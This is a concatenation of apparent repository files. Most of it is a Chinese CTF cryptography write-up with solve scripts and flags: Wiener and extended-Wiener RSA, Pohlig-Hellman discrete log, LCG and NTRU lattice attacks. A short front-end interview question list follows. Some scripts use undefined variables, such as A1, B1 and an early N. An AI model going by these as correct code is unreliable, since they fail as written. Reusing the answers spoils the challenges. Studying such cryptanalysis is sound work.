N1=60143104944034567859993561862949071559877219267755259679749062284763163484947626697494729046430386559610613113754453726683312513915610558734802079868190554644983911078936369464590301246394586190666760362763580192139772729890492729488892169933099057105842090125200369295070365451134781912223048179092058016446222199742919885472867511334714233086339832790286482634562102936600597781342756061479024744312357407750731307860842457299116947352106025529309727703385914891200109853084742321655388368371397596144557614128458065859276522963419738435137978069417053712567764148183279165963454266011754149684758060746773409666706463583389316772088889398359242197165140562147489286818190852679930372669254697353483887004105934649944725189954685412228899457155711301864163839538810653626724347 N2=60143104944034567859993561862949071559877219267755259679749062284763163484947626697494729046430386559610613113754453726683312513915610558734802079868195633647431732875392121458684331843306730889424418620069322578265236351407591029338519809538995249896905137642342435659572917714183543305243715664380787797562011006398730320980994747939791561885622949912698246701769321430325902912003041678774440704056597862093530981040696872522868921139041247362592257285423948870944137019745161211585845927019259709501237550818918272189606436413992759328318871765171844153527424347985462767028135376552302463861324408178183842139330244906606776359050482977256728910278687996106152971028878653123533559760167711270265171441623056873903669918694259043580017081671349232051870716493557434517579121 def attack(N1,N2): frac = rational_to_contfrac(N1,N2) convergents = convergents_from_contfrac(frac) for (q1,q2) in convergents: if q1*q2!=0 and q1!=0 and q2!=1: if N1%q1==0 and N2%q2==0: return q1,q2 break q1,q2=attack(N1,N2) p1=iroot(N1//q1,2)[0] p2=iroot(N2//q2,2)[0] phi1=p1*(p1-1)*(q1-1) phi2=p2*(p2-1)*(q2-1) e1=125932919717342481428108392434488550259190856475011752106073050593074410065655587870702051419898088541590032209854048032649625269856337901048406066968337289491951404384300466543616578679539808215698754491076340386697518948419895268049696498272031094236309803803729823608854215226233796069683774155739820423103 e2=125932919717342481428108392434488550259190856475011752106073050593074410065655587870702051419898088541590032209854048032649625269856337901048406066968337289491951404384300466543616578679539808215698754491076340386697518948419895268049696498272031094236309803803729823608854215226233796069683774155739820425393 d1=invert(e1,phi1) d2=invert(e2,phi2) c1=55094296873556883585060020895253176070835143350249581136609315815308788255684072804968957510292559743192424646169207794748893753882418256401223641287546922358162629295622258913168323493447075410872354874300793298956869374606043622559405978242734950156459436487837698668489891733875650048466360950142617732135781244969524095348835624828008115829566644654403962285001724209210887446203934276651265377137788183939798543755386888532680013170540716736656670269251318800501517579803401154996881233025210176293554542024052540093890387437964747460765498713092018160196637928204190194154199389276666685436565665236397481709703644555328705818892269499380797044554054118656321389474821224725533693520856047736578402581854165941599254178019515615183102894716647680969742744705218868455450832 c2=39328446140156257571484184713861319722905864197556720730852773059147902283123252767651430278357950872626778348596897711320942449693270603776870301102881405303651558719085454281142395652056217241751656631812580544180434349840236919765433122389116860827593711593732385562328255759509355298662361508611531972386995239908513273236239858854586845849686865360780290350287139092143587037396801704351692736985955152935601987758859759421886670907735120137698039900161327397951758852875291442188850946273771733011504922325622240838288097946309825051094566685479503461938502373520983684296658971700922069426788236476575236189040102848418547634290214175167767431475003216056701094275899211419979340802711684989710130215926526387138538819531199810841475218142606691152928236362534181622201347 m1=long_to_bytes(pow(c1,d1,N1)) m2=long_to_bytes(pow(c2,d2,N2)) print(m1+m2) #GWHT{3aadab41754799f978669d53e64a3aca} 前面连分数展开都是一样的。。。 3.[羊城杯 2020]Simple 题就不贴了,首先$winner$攻击分解$n$,前面提到$winner$攻击覆盖$\frac{k}{d}$,也就是可以求到欧拉函数$\phi(n)$,那么就可以分解$n$。 然后是$extend\:winner\:attack$,对于两个大$e$和相同的一个$n$,可以利用构造格利用$LLL$求解,具体原理:对于$e_i$有 $e_id_i=k(p-1)(q-1)+1$,令$s=1-p-q$,那么$e_id_i-k_iN=1+k_is--(W_i)$ $$ \left \{ \begin{array}{c} e_1d_1-k_1\phi(n)=1\\ e_2d_2-k_2\phi(n)=1\\ \end{array} \right. $$ 约掉$\phi(n)$有$e_1d_1k_2-e_2d_2k_1=k_2-k_1--(V)$ 假设$d_i<N^{\alpha}$ 联立四个等式: $$ \left \{ \begin{array}{c} k_1k_2\:\:\:=\:k_1k_2\\ e_1d_1k_2-k_1Nk_2\:\:=k_2+k_1sk_2---(W_1k_2)\\ e_2d_2k_1-e_1d_1k_2=k_1-k_2---(V)\\ d_1d_2e_1e_2-d_1 k_2 e_1 N-d_2 k_1 N+k_1 k_2 N^{2} = (1+k_1s_1)(1+k_2s_2)--(W_1W_2)\\ \end{array} \right. $$ 由此可以构造:$A=(k_1k_2,d_1k_2,d_2k_1,d_1d_2)$ $L=\begin{pmatrix} 1&{-N}&0&N^2\\0&e_1&{-e_1}&{-e_1N}\\0&0&e_2&{-e_2N}\\0&0&0&e_1e_2\end{pmatrix}$ $B=(k_1k_2,k_2+k_1sk_2,k_1-k_2,(1+k_1s)(1+k_2s))$满足$AL=B$ 其中我们可以进行一个估算: $$ \left \{ \begin{array}{c} e_1 \approx N\\ d \approx N^{\alpha}\\ k \approx d \approx N^{\alpha}\\ s=1-p-q \approx N^{0.5} \\ \end{array} \right. $$ 所以$det(L)\approx N$,根据$Minkowoski's\:first\:theorem$,只有满足$\lambda_1(L) \le \sqrt n {det(L)}^{\frac{1}{n}}$时才能算是最短向量。$\lambda_1$ 代表在格$L$中最短的向量,其次为 $\lambda_2..$ , $n$为 $ L $的维数\)。 显然我们想要从$L$中格约出一个最短向量为$B$,那么还得对$L$的范数进行调整,可以通过对矩阵的列乘上一个倍数使其满足。 这里令$M_1=\sqrt N $,$M_2=N^{1+\alpha}$,第一列第二列第三列分别乘以$N,M_1,M_2$得到: $L=\begin{pmatrix} N&{-M_1N}&0&N^2\\0&M_1e_1&{-e_1}&{-e_1N}\\0&0&e_2&{-M_2e_2N}\\0&0&0&e_1e_2\end{pmatrix}$ $B=(k_1k_2N,(k_2+k_1sk_2)M_1,(k_1-k_2)M_2,(1+k_1s)(1+k_2s))$ 此时$\sqrt n {det(L)}^{\frac{1}{n}} \approx 2N^{\frac{\frac{13}{2}+\alpha}{4}}$ $\begin{Vmatrix} B \end{Vmatrix} \approx 2N^{1+2\alpha}$ 那么 $2N^{1+2\alpha}\le 2N^{\frac{\frac{13}{2}+\alpha}{4}}$所以 $\alpha \le \frac{5}{14}$ 然后利用$LLL$算法,求出$L$中的最短向量$B$,然后乘上$L$的逆求$A$,再求$\phi$。 e1=114552459553730357961013268333698879659007919035942930313432809776799669181481660306531243618160127922304264986001501784564575128319884991774542682853466808329973362019677284072646678280051091964555611220961719302320547405880386113519147076299481594997799884384012548506240748042365643212774215730304047871679706035596550898944580314923260982768858133395187777029914150064371998328788068888440803565964567662563652062845388379897799506439389461619422933318625765603423604615137217375612091221578339493263160670355032898186792479034771118678394464854413824347305505135625135428816394053078365603937337271798774138959 e2=27188825731727584656624712988703151030126350536157477591935558508817722580343689565924329442151239649607993377452763119541243174650065563589438911911135278704499670302489754540301886312489410648471922645773506837251600244109619850141762795901696503387880058658061490595034281884089265487336373011424883404499124002441860870291233875045675212355287622948427109362925199018383535259913549859747158348931847041907910313465531703810313472674435425886505383646969400166213185676876969805238803587967334447878968225219769481841748776108219650785975942208190380614555719233460250841332020054797811415069533137170950762289 N=14922959775784066499316528935316325825140011208871830627653191549546959775167708525042423039865322548420928571524120743831693550123563493981797950912895893476200447083386549353336086899064921878582074346791320104106139965010480614879592357793053342577850761108944086318475849882440272688246818022209356852924215237481460229377544297224983887026669222885987323082324044645883070916243439521809702674295469253723616677245762242494478587807402688474176102093482019417118703747411862420536240611089529331148684440513934609412884941091651594861530606086982174862461739604705354416587503836130151492937714365614194583664241 a=0.357 M1=int(N^0.5) M2=int(N^(a+1)) L=matrix([[N,-M1*N,0,N^2], [0,M1*e1,-M2*e1,-e1*N], [0,0,M2*e2,-e2*N], [0,0,0,e1*e2]]) B=L.LLL()[0] A=B*L^-1 phi=int(A[1]//A[0]*e1) import gmpy2 from Crypto.Util.number import * d=gmpy2.invert(65537,phi) c=6472367338832635906896423990323542537663849304314171581554107495210830026660211696089062916158894195561723047864604633460433867838687338370676287160274165915800235253640690510046066541445140501917731026596427080558567366267665887665459901724487706983166070740324307268574128474775026837827907818762764766069631267853742422247229582756256253175941899099898884656334598790711379305490419932664114615010382094572854799421891622789614614720442708271653376485660139560819668239118588069312179293488684403404385715780406937817124588773689921642802703005341324008483201528345805611493251791950304129082313093168732415486813 m=pow(c,d,N) print(long_to_bytes(m)) #GWHT{3da44ca8379b98fdc1c86f9b34dcc1ef} 4.[羊城杯 2020]Power ![2021-04-03T17:09:56.png][5] 关键点主要在第一步求$p$吧,这里涉及到离散对数,即$y\equiv g^x\mod{p}$,求解$x$,可以发现$p-1$光滑,那么可以采用Pohlig-Hellman算法攻击,$\require{enclose}\enclose{horizontalstrike}{有关原理后面再写吧}$,sagemath内置了这个算法,然后解方程求$p$,最后可以得到$m\equiv c^{dp}\mod{p}$,推导:$dp\equiv\mod{p-1}$,那么:$m\equiv c^{d-k*(p-1)}\mod{p}$,由费马小定理可得:$m\equiv c^{dp}\mod{p}$当然当$m\lt p$的时候才成立。 y=449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839 c1=290707924192892686920253390955676600323331633814839708838347288502692494699485764473635783441705302268064111648851157070038783719749721994682837294625334517914882191486257362565066745587415388291939979195637720350919055988532145531805200483161599965215275808797976727969023747299578173497083532351976473770041800769265319548352841139802163279116490053292316399038329210043455932786945180855178341998049756983301499491011851026499269682821602212971062877270127451987836730083380463825717889123804613394241190839837791281657872259492589868751745327696030438893865069941066073554427558697972551085353027574529823439588670263047287131740802375738439636789806332323994866753085014446479034974063195632514803340511247735647970572837053148490258113394359072976858781060349776921428492973183958437965966963122069107876143476772436757554253049619918403996315720023020827394900507088006299225934263699192253079026440287311664705744424959801981503191480257138833694306501816837037995549817186335377411638035575004595417788588264823861850877111374085336446477943372458378834664678094751978400910288151519902977326995118727880223621964441498323865158898463327323193833062919619201107279964663654606753750042791368210261574897455830722232022689695292080269205470491791950839486861811469879413313773338916781857981641910031441448964144000585506870170898052132929034349451945051362244755750988705018897859238859476967568556992146975789444151432386692872801263000639711599152191790766776280 g=2 x=discrete_log(c1,mod(g,y)) x=5535722692962580764045545539105119140941061679289569420988353884209653851308860058948669740693107863231179565602072744542122031789184119031739723962825082929025825322421201364211726001366490949760887367407718763255964735567971493859197583624076478457865073449246835949075135223468616834636386958924709024763349115622062848212445867198457630368236782421195503713107838541903829979118327675371550868768159024260793541264335548489228744367609071659968450303895118817379316060805148754136917043160175570565717388336822960389664337656603584425629662613786203920234401824957121860225422901340950436355650311392398098947210940 var("p") eq1=2019*p^2 + 2020*p^3 + 2021*p^4==x solve([eq1],p) p=7234391427703598327916723159145232922047935397302241978344500497098972068808591685717500902909442183573763273395725479516998210374727754578133587007330339 import gmpy2 e=65537 c=22524257534087703614496632403022329621384173069680778965750290698059674588465640878754707363673789674111671270645152584118206145007310499274423606886261969807360070526126452646719628307689968971699215841867636770320159256301550908771135042912287955209485328267670825390080110910391913063177323585204392804538642393453388536211144485389902591029350060800993352969569703901717308330574394200996651534321547814313195218895547718815009876393987398738932001924661338796059973950012706427109598830049455186171345179840564502215531573714428772608739268313985559628612004439028014417408631851880698512023740903181116906766066951473942201698375224240271523568161242951730224901227589413731025281719101368668617497947995579443908773425555177346524678673641140157885033923288401884 dp=3272293505696712831419859641571956066667516012597886098021642320155056349966612629986261146617139998624603483170466852538289743936225789351270153550594329 from Crypto.Util.number import * print(long_to_bytes(pow(c,dp,p))) #GWHT{f372e52f2a0918d92267ff78ff1a9f09} 5.[NPUCTF2020]babyLCG - 初始化$LCG$,其中模数,乘数,增量均已知,$seed$未知 - 输出了前二十个,但是只知道高位 - 再次利用$LCG$产生密钥和初始向量$iv$ 很明显,如果我们能够恢复其中一个数,那么就可以完成解密。假设$LCG$递推关系为:$X_{n+1}=aX_n+b\mod{m}$,既然已知高位,那么将其划分为高位$(h_i)$和低位$(l_i)$。即可以得到:$h_{2}+l_{2}\equiv a(h_1+l_1)+b\mod m$就可以得到关于低位的一组递推关系。$l_{2}\equiv al_1+ah_1+b-h_{2}\mod m$也就是$l_{2}\equiv al_1+ah_1+b-h_{2}+mk_1$,可以造出一个三维的格子,令$A_1=a,B_1=ah_1+b-h_2$ 就有:$(k_1,l_1,1) \begin{pmatrix}m&0&0\\A_1&1&0\\B_1&0&2^{64}\end{pmatrix}=(l_2,l_1,2^{64})$ 对于$L=\begin{pmatrix}m&0&0\\A_1&1&0\\B_1&0&2^{64}\end{pmatrix} $,$B=(l_2,l_1,2^{64})$ 显然满足$\begin{Vmatrix} B \end{Vmatrix} \le \sqrt n {det(L)}^{\frac{1}{n}}$,因此$LLL$能够格约出小向量$B$(但不一定是最小的) 然后还原$S_1$,求到$seed$,那么该$LCG$所有序列都已知了。 a=107763262682494809191803026213015101802 b=153582801876235638173762045261195852087 m=226649634126248141841388712969771891297 h1=7800489346663478448<<64 h2=11267068470666042741<<64 A=a B=a*h1+b-h2 M=matrix([[m,0,0], [A1,1,0], [B1,0,2**64]]) for i in M.LLL(): if i[2]==2**64: L1=i[1] S1=h1+L1 seed=(S1-b)*inverse_mod(a,m) %m print(seed) #73991202721494681711496408225724067994 显然这种方法应该是有局限性的,毕竟给了那么多组数据,只用了两组。参考[https://www.anquanke.com/post/id/204846][6] 还是同之前的推导,得到低位之间的递推关系:$l_{2}\equiv al_1+ah_1+b-h_{2}\mod{m}$ 同理:$(h_3+l_3)\equiv a(h_2+l_2)+b \mod{m}$,代入$l_{2}\equiv al_1+ah_1+b-h_{2}\mod{m}$ 得到$l_3\equiv aA_1l_1+aB_1+ah_2+b-h_3$设$A_2=aA_1$,$B_2=aB_1+ah_2+b-h_3$ 也可以得到$l_3\equiv A_2l_2+B_2 \mod{m}$ 显然$A_i=aA_{i_1},B_{i}=aB_{i-1}+ah_{i}+b-h{i+1}$ 那么就可以求到所有$(A_1,A_2,...A_{19})$,$(B_1,B_2,...,B_{19})$ 综上所述也就是$l_{i+1}=A_il_1+B_i+k_im$,那么根据$20$组数据,可以写成。 $\nu=(k_1,k_2,...,k_{19},l_1,1)$,$L=\begin{pmatrix}m&0&0&\cdots&0&0&0\\0&m&0&\cdots&0&0&0\\0&0&m&\cdots&0&0&0\\0&0&0&\ddots&0&0&0\\0&0&0&\cdots&m&0&0\\A_1&A_2&A_3&\cdots&A_{19}&1&0\\B_1&B_2&B_3&\cdots&B_{19}&0&2^{64}\end{pmatrix}$ $\omega=(l_2,l_3,...,l_20,l_1,2^{64})$ 满足$\nu L=\omega$ 此时满足$\begin{Vmatrix} \omega \end{Vmatrix} \le \sqrt n {det(L)}^{\frac{1}{n}}$,所以格约$L$也可以得到小向量$\omega$,完成解密。 [1]: https://ami.uni-eszterhazy.hu/uploads/papers/finalpdf/AMI_43_from29to41.pdf [2]: https://mlzeng.com/an-interesting-equation.html#sec-3 [3]: https://www.quora.com/How-do-you-find-the-positive-integer-solutions-to-frac-x-y+z-+-frac-y-z+x-+-frac-z-x+y-4 [4]: /usr/uploads/2021/04/2750502907.png [5]: /usr/uploads/2021/04/940717168.png [6]: https://www.anquanke.com/post/id/204846 ## 紧接之前的文章,我们来了解一下NTRU,一种基于环的公钥系统 ## > 系统建立在整系数多项式环上,设$R$表示为最高次数不超过$N-1$的所有整系数多项式集合。那么具体实现就可以通过模$x^{N}-1$,很容易理解,若产生$x^N$则可化为$1$,同理$X^{N+1}$化为$x$。 那么该环上的计算法则:设$$a=a+a_1*x+...+a_{N-1}*x^{N-1}$$ $$b=b_0+b_1*x+...+b_{N-1}*x^{N-1}$$ $$a+b=(a_0+b_0)+(a_1+b_1)x+...+(a_{N-1}+b_{N-1})x^{N-1}$$ $$a*b=c_0+c_1x+...+x_{N-1}x^{N-1}$$ $$c_k=a_0b_k+a_1b_{k-1}+...+a_{N-1}b_{k+1}=\sum\limits_{i+k\equiv k\mod{N}} a_ib_j$$ 那么进入正题 - 参数选择: 参数包括三个整数$(N,p,q)$和四个次数为$N-1$的整系数多项式集合$L_f,L_g,L_{\phi},L_m$,其中必须满足$gcd(p,q)=1$且$q\gt p$ - 密钥的产生: 随机选择两个多项式$f,g\in L_g$,其中多项式$f$在模$q$和模$p$下均可逆,其逆元为$F_q$,$F_p$,即$F_q*f\equiv 1\mod{q}$ $F_p*f\equiv 1\mod{p}$,计算$h \equiv F_p*g \mod{q}$,$h$为公钥,$f$为私钥。 - 加密: 将消息$m\in L_m$,进行如下加密:随机选取多项式$\phi \in L_{\phi}$,用公钥加密$$e\equiv p\phi *h+m \mod{q}$$ - 解密: $(1)$计算$a\equiv f*e\mod{q}$,$a$的系数在$\frac{-q}{2}\sim \frac{q}{2}$之间。 $(2)$计算$F_p*a\mod{p}$即可恢复明文$m$。 原理如下: $$ \begin{equation}\begin{split} a&\equiv f*e\equiv f*p\phi*h+f*m\mod{q} \\ &\equiv f*p\phi*F_q*g+f*m\mod{q}\\ &\equiv p\phi*g+f*m\mod{q}\\ &\equiv p\phi*g+f*m\\ \end{split}\end{equation} $$ 正式因为$a$的参数选择合适,保证多项式$p\phi*g+f*m$的系数在$\frac{-q}{2}\sim \frac{q}{2}$之间 所以$p\phi*g+f*m$模$q$后结果不变,最终得到$$F_p*a \equiv F_p*p\phi*g+F_p*f*m\equiv m\mod{p}$$ 理论上已经结束了,可是多项式不好操作呀,参考[https://latticehacks.cr.yp.to/ntru.html][1] 也就是$sagemath$的一些使用: 创建一个$Zx$类的对象,即整系数多项式,可进行多项式计算: ![2021-04-09T08:38:13.png][2] 循环卷积,也就是前面提到的模$x^n-1$,$NTRU$体系中就是采用的这种乘法 ![2021-04-09T08:45:51.png][3] $sgaemath$也可以采用$R = Zx.quotient(x^n-1)$,来创建一个加减乘除都是模$x^n-1$的类。 在解密时需要将系数控制到$\frac{-q}{2}\sim \frac{q}{2}$之间。 ![2021-04-09T08:55:02.png][4] 产生$d$个系数为全为$-1$或$1$的$n$次多项式。 from random import * Zx.<x>=ZZ[] def randomdpoly(d,n): assert d <= n result = n*[0] for j in range(d): while True: r = randrange(n) if not result[r]: break result[r] = 1 - 2*randrange(2) return Zx(result) print(randomdpoly(5,7)) #x^5 - x^4 + x^3 + x + 1 模素数的除法:计算一个多项式在$\mod{x^n-1}\mod{q}$下的逆元。 Zx.<x>=ZZ[] n= f= def invertmodprime(f,p): T = Zx.change_ring(Integers(p)).quotient(x^n-1) return Zx(lift(1 / T(f))) #litf(), 把一个在环R/I中的数, 转成在R中 模$2^n$的除法: #模2^n的除法,输入的q为2,4,8。。。 def invertmodpowerof2(f,q): assert q.is_power_of(2) g = invertmodprime(f,2) while True: r = balancedmod(convolution(g,f),q) if r == 1: return g g = balancedmod(convolution(g,2 - r),q) 结合以上的代码可以得到$NTRU$的加密解密代码: #产生公钥私钥 def keypair(): while True: try: f = randomdpoly() f3 = invertmodprime(f,3) fq = invertmodpowerof(f,q) break except: pass g = randomdpoly() publickey = balancedmod(3 * convolution(fq,g),q) secretkey = f,f3 return publickey,secretkey #待加密明文 def randommessage(): result = list(randrange(3) - 1 for j in range(n)) return Zx(result) #加密 def encrypt(message,publickey): r = randomdpoly() return balancedmod(convolution(publickey,r) + message,q) #解密 def decrypt(ciphertext,secretkey): f,f3 = secretkey a = balancedmod(convolution(ciphertext,f),q) return balancedmod(convolution(a,f3),3) - 对系统的攻击,同背包密码体系,一样可以采用穷举或者中间相遇,那么尝试次数是很多的,不太可取。 - 引入格的思想,转化为格上的SVP问题: 若Eve能够找到$F_p$和$a$也就是找到$f,g$那么就可以完成解密。通过验证可以发现:$f*h\equiv g \mod{x^{N-1}} \in R_q$。也就是说我们可以写成$f*h=g+qu$,其中$u$是一个多项式。此时可以构造一个二维矩阵: $(f,-u) \begin{pmatrix}1&h\\ 0&q\\ \end{pmatrix} =(f,g)$,$LLL$格约出来前半部分为私钥$f$。 当然这是多项式形式的,需要将系数提取出来形成一个$2n$维的格子。 就可以得到: $$ \begin{pmatrix} 1&0&\cdots&0&h_0&h_1&\cdots&h_{n-1}\\ 0&1&\cdots&0&h_{n-1}&h_0&\cdots&h_{n-2}\\ \vdots&\vdots&\vdots&\ddots&\vdots&\vdots&\vdots&\vdots\\ 0&0&\cdots&1&h_1&h_{2}&\cdots&h_0\\ 0&0&\cdots&0&q&0&\cdots&0\\ 0&0&\cdots&0&0&q&\cdots&0\\ \vdots&\vdots&\vdots&\ddots&\vdots&\vdots&\vdots&\vdots\\ 0&0&\cdots&0&0&0&\cdots&q\\ \end{pmatrix} $$ 也可以造成:$(-u,f) \begin{pmatrix}q&0\\ h&1\\ \end{pmatrix} =(g,f)$,那么$LLL$格约出来后半部分为私钥$f$。 $$ \begin{pmatrix} q&0&\cdots&0&0&0&\cdots&0\\ 0&q&\cdots&0&0&0&\cdots&0\\ \vdots&\vdots&\vdots&\ddots&\vdots&\vdots&\vdots&\vdots\\ 0&0&\cdots&q&0&0&\cdots&0\\ h_0&h_1&\cdots&h_{n-1}&1&0&\cdots&0\\ h_{n-1}&h_0&\cdots&h_{n-2}&0&1&\cdots&0\\ \vdots&\vdots&\vdots&\ddots&\vdots&\vdots&\vdots&\vdots\\ h_1&h_{2}&\cdots&h_0&0&0&\cdots&1\\ \end{pmatrix} $$ 以$DASCTF$三月赛为例: def check(List): flag=True for i in List: if abs(i)>1: flag=False break return flag def balancedmod(f,N,q): g = list(((f[i] + q//2) %q) - q//2 for i in range(N)) return Zx(g) def convolution(f,g,N): return (f*g) % (x^N-1) def invertmodprime(f,N,p): T = Zx.change_ring(Integers(p)).quotient(x^N-1) return Zx(lift(1 / T(f))) def decrypt(ciphertext,secretkey,N,q,p): f,fp = secretkey a = balancedmod(convolution(ciphertext,f,N),N,q) return balancedmod(convolution(a,fp,N),N,p) Zx.<x>=ZZ[] hx=14443*x^52 + 10616*x^51 + 11177*x^50 + 24769*x^49 + 23510*x^48 + 23059*x^47 + 21848*x^46 + 24145*x^45 + 12420*x^44 + 1976*x^43 + 16947*x^42 + 7373*x^41 + 16708*x^40 + 18435*x^39 + 18561*x^38 + 21557*x^37 + 16115*x^36 + 7873*x^35 + 20005*x^34 + 11543*x^33 + 9488*x^32 + 2865*x^31 + 11797*x^30 + 2961*x^29 + 14944*x^28 + 22631*x^27 + 24061*x^26 + 9792*x^25 + 6791*x^24 + 10423*x^23 + 3534*x^22 + 26233*x^21 + 14223*x^20 + 15555*x^19 + 3381*x^18 + 23641*x^17 + 2697*x^16 + 11303*x^15 + 6030*x^14 + 7355*x^13 + 20693*x^12 + 1768*x^11 + 10059*x^10 + 27822*x^9 + 8150*x^8 + 5458*x^7 + 21270*x^6 + 22651*x^5 + 8381*x^4 + 2819*x^3 + 3987*x^2 + 8610*x + 6022 flag=hx.list() M=matrix([[0 for _ in range(2*N)] for _ in range(2*N)]) N = 53 q = 28019 p = 257 for i in range(N): for j in range(N): M[i+N,j] = int(flag[j-i]) if i == j: M[i,j] = q M[N+i,N+j] = 1 ex=7367*x^52 + 24215*x^51 + 5438*x^50 + 7552*x^49 + 22666*x^48 + 21907*x^47 + 10572*x^46 + 19756*x^45 + 4083*x^44 + 22080*x^43 + 1757*x^42 + 5708*x^41 + 22838*x^40 + 4022*x^39 + 9239*x^38 + 1949*x^37 + 27073*x^36 + 8192*x^35 + 955*x^34 + 4373*x^33 + 17877*x^32 + 25592*x^31 + 13535*x^30 + 185*x^29 + 9471*x^28 + 9793*x^27 + 22637*x^26 + 3293*x^25 + 27047*x^24 + 21985*x^23 + 13584*x^22 + 6809*x^21 + 24770*x^20 + 16964*x^19 + 8866*x^18 + 22102*x^17 + 18006*x^16 + 3198*x^15 + 19024*x^14 + 2777*x^13 + 9252*x^12 + 9684*x^11 + 3604*x^10 + 7840*x^9 + 17573*x^8 + 11382*x^7 + 12726*x^6 + 6811*x^5 + 10104*x^4 + 7485*x^3 + 858*x^2 + 15100*x + 15860 for i in M.LLL(): if check(i): fx=Zx(list(i[N:])) flag="" try: fp = invertmodprime(fx,N,p) for j in decrypt(ex,(fx,fp),N,q,p).list(): flag+=chr(abs(j)) if "DASCTF" in flag: print(flag) break except: pass #DASCTF{9bba98e8024da44a3250acbc06bebc7b} [1]: https://latticehacks.cr.yp.to/ntru.html [2]: /usr/uploads/2021/04/1929894919.png [3]: /usr/uploads/2021/04/141176895.png [4]: /usr/uploads/2021/04/32987491.png ```
zcCodeWarehouse/fe-interview
zcCodeWarehouse/fe-interview week.md ```# 周汇总 2020.03.01 > 《论语》,曾子曰:**“吾日三省吾身”**(我每天多次反省自己)。 > 前端面试每日3+1题,以面试题来驱动学习,每天进步一点! > 让努力成为一种习惯,让奋斗成为一种享受! > 相信 **坚持** 的力量!!! --- - 学习不打烊,充电加油只为**遇到更好的自己**,365天无节假日,**每天早上5点**纯手工发布面试题(**死磕自己,愉悦大家**)。 - 希望大家在这**浮夸**的前端圈里,保持**冷静**,坚持每天花20分钟来学习与思考。 - 在这千变万化,类库层出不穷的前端,建议大家不要等到找工作时,才狂刷题,提倡**每日学习**!(**不忘初心**,html、css、javascript才是基石!) - 欢迎大家到**Issues**交流,鼓励**PR**,感谢**Star**,大家有啥好的建议可以加我微信一起交流讨论! > 希望大家**每日**去学习与思考,这才达到来这里的目的!!!(不要为了谁而来,要为自己而来!) ![微信公众号和微信群](https://github.com/haizlin/fe-interview/raw/master/resource/images/qrcode.jpg) 【推荐】欢迎跟 jsliang 一起折腾前端,系统整理前端知识,目前正在折腾 LeetCode,打算打通算法与数据结构的任督二脉。[GitHub 地址](https://github.com/LiangJunrong/document-library) ## html - [iframe可以使用父页面中的资源吗(如:css、js等)?](https://github.com/haizlin/fe-interview/issues/1981) - [iframe在更改了src之后,不出现后退或者前进按钮怎么解决?](https://github.com/haizlin/fe-interview/issues/1977) - [iframe父页面如何获取子页面的元素?](https://github.com/haizlin/fe-interview/issues/1972) - [iframe如何自动调整高度?](https://github.com/haizlin/fe-interview/issues/1967) - [如何禁止web端的页面缩放?](https://github.com/haizlin/fe-interview/issues/1963) - [说说你对HTML5中video blob的理解](https://github.com/haizlin/fe-interview/issues/1957) - [微软雅黑是有版权的,在页面中使用font-family:Microsoft YaHei会不会有版权问题呢?](https://github.com/haizlin/fe-interview/issues/1953) ## css - [使用纯css来创建一个滑块](https://github.com/haizlin/fe-interview/issues/1982) - [用css画一个五边形和一个六边形](https://github.com/haizlin/fe-interview/issues/1978) - [你有没有使用过“形似猫头鹰”(例:`* + *{ ... }`) 的选择器?](https://github.com/haizlin/fe-interview/issues/1973) - [为什么说css中能用子代选择器的时候不要用后代选择器?](https://github.com/haizlin/fe-interview/issues/1968) - [如何给文字的color设置渐变](https://github.com/haizlin/fe-interview/issues/1964) - [如何在白天和黑夜自动切换页面的颜色?](https://github.com/haizlin/fe-interview/issues/1958) - [CSS中哪些属性会引起GPU渲染,会增加耗电吗?](https://github.com/haizlin/fe-interview/issues/1954) ## js - [在axios中怎样添加授权验证?](https://github.com/haizlin/fe-interview/issues/1983) - [什么是UUID?它有什么作用?用js写一个生成UUID的方法](https://github.com/haizlin/fe-interview/issues/1979) - [用js实现一个加法的方法](https://github.com/haizlin/fe-interview/issues/1974) - [js如何解决数字精度丢失的问题?](https://github.com/haizlin/fe-interview/issues/1969) - [切换标签窗口后js定时器自动停止了,如何在激活标签后又继续呢?](https://github.com/haizlin/fe-interview/issues/1965) - [在浏览器标签页之间切换触发的事件是哪个?](https://github.com/haizlin/fe-interview/issues/1959) - [看下面代码,判断a和b的类型是否为true?为什么?什么是基本包装类型?[代码]](https://github.com/haizlin/fe-interview/issues/1955) ## 软技能 - [长链接在http2中与http/1.1协议中有什么区别?](https://github.com/haizlin/fe-interview/issues/1984) - [你知道网站运营的指标有哪些吗?](https://github.com/haizlin/fe-interview/issues/1980) - [你知道网站的PV、UV、IP分别代表什么吗?](https://github.com/haizlin/fe-interview/issues/1975) - [Chrome浏览器允许的一次性最大TCP并发链接](https://github.com/haizlin/fe-interview/issues/1970) - [在页面中引入静态资源文件,为什么静态资源文件改变后,再次发起请求还是之前的内容,没有变化呢?](https://github.com/haizlin/fe-interview/issues/1966) - [你知道PMP证书吗?](https://github.com/haizlin/fe-interview/issues/1960) - [你认为作为一个管理岗位,最重要的是什么?请说出三点](https://github.com/haizlin/fe-interview/issues/1956) ## 全部 [所有](https://github.com/haizlin/fe-interview/blob/master/category/week.md) ## 交流讨论 欢迎大家前来讨论,如果觉得对你的学习有一定的帮助,欢迎点个[**Star**](https://github.com/haizlin/fe-interview), 同时欢迎加入 **“前端面试每日3+1”** 微信群(扫个人微信号邀请入群)相互交流。 ![微信公众号和微信群](https://github.com/haizlin/fe-interview/raw/master/resource/images/qrcode.jpg)```
zcg19960121/cold-chain-scala
